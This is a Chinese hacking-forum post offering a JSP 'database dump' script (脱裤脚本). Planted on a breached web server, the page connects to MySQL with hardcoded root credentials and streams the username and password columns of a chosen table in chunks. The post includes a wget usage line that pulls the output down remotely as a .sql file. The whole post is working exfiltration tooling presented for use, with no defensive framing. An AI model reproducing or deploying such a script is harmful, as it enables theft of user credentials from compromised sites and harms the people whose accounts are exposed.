搜索
查看: 503|回复: 0

jsp wget脱裤脚本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-5-22 06:03:29 来自手机 | 显示全部楼层 |阅读模式
  1. <%@ page contentType="text/html; charset=utf-8" %>
  2. <%@ page language="java" %>
  3. <%@ page import="java.sql.*" %>
  4. <%
  5. //author: By Gavin
  6. //Usage: wget "http://xxx.com/wget_db.jsp?sn=0&en=5000000&ln=50000" -O gavin.sql
  7. out.clear();
  8. //分段每次limit查询出来的条数,根据实际情况调整,默认为2w
  9. int MAX_LIMIT_NUM = 20000;
  10. //最大缓存条数,防止占用过多内存,根据每条数据大小调整
  11. int MAX_CACHE_NUM = 5000;
  12. //驱动程序名
  13. String driverName="com.mysql.jdbc.Driver";
  14. // 数据库地址
  15. String dbAddress = "127.0.0.1:3306";
  16. //数据库用户名
  17. String userName="root";
  18. //密码
  19. String userPasswd="root";
  20. //数据库名
  21. String dbName="DBName";
  22. // 查询字段
  23. String columns[] = "username,password".split(",");
  24. //表名
  25. String tableName="table_name";
  26. // 接受参数
  27. int startNum = Integer.valueOf(request.getParameter("sn")); //接收起始条数
  28. int endNum = Integer.valueOf(request.getParameter("en")); //接收结束条数
  29. String ln = request.getParameter("ln");
  30. if (ln != null && ln != "") MAX_LIMIT_NUM = Integer.valueOf(ln); //接收每次分段查询的条数
  31. int gavin_downNum = endNum - startNum; //计算总下载条数
  32. if (endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;
  33. int multiple = gavin_downNum/MAX_LIMIT_NUM;
  34. int complement = gavin_downNum%MAX_LIMIT_NUM;
  35. // 连接数据库
  36. String url="jdbc:mysql://"+dbAddress+"/"+dbName+"?user="+userName+"&password="+userPasswd;
  37. Class.forName(driverName).newInstance();
  38. Connection connection=DriverManager.getConnection(url);
  39. Statement statement = connection.createStatement();
  40. // 拼装前半部分sql
  41. String sql = "SELECT ";
  42. for(int i=0;i<columns.length;i++){
  43. if(i == (columns.length-1)){
  44. sql += columns[i];
  45. } else {
  46. sql += columns[i] + ",";
  47. }
  48. }
  49. sql += " FROM " + tableName + " ";
  50. int num = 1;
  51. for(int i=0;i<multiple;i++) {
  52. int newStartNum = i*MAX_LIMIT_NUM+startNum;
  53. if(i == (multiple-1)) MAX_LIMIT_NUM += complement;
  54. String newSql = sql + " limit " + newStartNum + "," + MAX_LIMIT_NUM;
  55. java.sql.ResultSet rs = statement.executeQuery(newSql);
  56. //获得数据结果集合
  57. //ResultSetMetaData rmeta = rs.getMetaData();
  58. while(rs.next()) {
  59. num ++;
  60. for(int j=1;j<=columns.length;j++){
  61. if(j == columns.length){
  62. out.println(rs.getString(j));
  63. } else {
  64. out.print(rs.getString(j)+"-->");
  65. }
  66. }
  67. if (num >= MAX_CACHE_NUM) {
  68. out.flush();
  69. num = 0;
  70. }
  71. }
  72. rs.close();
  73. }
  74. statement.close();
  75. connection.close();
  76. %>
复制代码
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表